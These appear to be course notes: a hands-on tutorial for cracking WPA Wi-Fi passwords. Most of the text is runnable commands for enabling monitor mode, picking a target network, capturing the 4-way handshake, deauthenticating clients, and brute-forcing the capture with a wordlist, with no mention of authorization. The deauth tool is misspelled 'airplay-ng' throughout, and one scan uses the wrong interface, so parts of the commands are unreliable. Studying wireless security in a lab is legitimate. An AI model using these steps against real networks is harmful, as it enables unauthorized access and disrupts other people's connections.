[Day 8] 4. Hacking the Wi-Fi

Requirements:

1. Hardware Requirements:

   • Base Machine: Kali Linux.
   • Network Adapter:
     • Use an external adapter or add a compatible one to your virtual machine.
   • Extension Pack: Ensure the VirtualBox Extension Pack is installed.

2. VirtualBox Setup:

   • Change the settings to add the USB (network adapter).
   • After connecting the external network adapter, you should:
     • Be able to access the internet inside the Kali machine.
     • Verify the adapter with the
       Copy

       ip a

       command.

3. Promiscuous Mode and Monitor Mode:

   • Promiscuous Mode: Allows Ethernet adapters to see all packets.
   • Monitor Mode: Required for wireless adapters to capture packets.

---

Understanding the Wi-Fi Password Process:

• 4-Way Handshake:
  • A critical exchange during Wi-Fi authentication.
  • If these handshake packets are captured correctly, they can be cracked to reveal the password.

---

Tools Used:

1. airmon-ng: Enables monitoring mode.
2. airodump-ng: Captures Wi-Fi data packets.
3. aircrack-ng: Cracks Wi-Fi passwords.
4. airplay-ng: Disconnects clients from the network to force reconnections (for EAPOL packet capture).

---

Steps to Hack Wi-Fi:

1. Enable Monitor Mode:

1. Start monitoring mode:

   bashCopy
   sudo airmon-ng
   sudo airmon-ng start wlan0
   ip a  # Verify the adapter is now in monitoring mode (e.g., wlan0mon)
   

2. Identify the Target Wi-Fi Network:

1. Scan for Wi-Fi networks:

   bashCopy
   sudo airodump-ng --band bg wlan0
   

   • Note the channel number and MAC address of the Wi-Fi network you want to hack.

3. Capture 4-Way Handshake Packets:

1. Start packet capturing in a new terminal:

   bashCopy
   mkdir hackwifi && cd hackwifi
   sudo airodump-ng -c <channel-number> --bssid <mac-address> -w hack wlan0mon
   

   • Options:
     • Copy

       -c

       : Channel number of the target network.
     • Copy

       --bssid

       : MAC address of the target network.
     • Copy

       -w hack

       : Output filename (
       Copy

       hack

       in this example).

---

4. Crack the Password:

1. Wordlist Preparation:

   • Use a pre-existing wordlist or create your own. Example:

     bashCopy
     cp /usr/share/metasploit-framework/data/wordlists/password.lst wordlist
     

2. Crack the Handshake Packets:

   bashCopy
   sudo aircrack-ng -w wordlist -b <mac-address> hack-01.cap
   

   • Options:
     • Copy

       -w

       : Path to the wordlist.
     • Copy

       -b

       : MAC address of the target Wi-Fi.
     • Copy

       hack-01.cap

       : File created during handshake capture.
   • The tool scans the wordlist and reveals the password within seconds if it's present in the list.

---

5. Force Client Disconnection (Optional):

• Use

  Copy

  airplay-ng

  to disconnect clients from the network. This forces reconnections, making it easier to capture EAPOL packets. Example:

  bashCopy
  sudo airplay-ng -0 <number_of_deauth_packets> -a <bssid> wlan0mon
  

---

Extra

4-Way Handshake:

The 4-Way Handshake is a process used in Wi-Fi networks to securely connect a device to a router. Here's how it works:

1. Purpose: It ensures that both the router and the device know the Wi-Fi password without directly sharing it.
2. Steps:
   • The router sends a random number (Nonce) to the device.
   • The device uses this number and the password to create a unique response.
   • The router verifies the response.
   • Both sides agree on encryption keys for secure communication.

If you capture these handshake packets, you can use tools to crack the Wi-Fi password.

---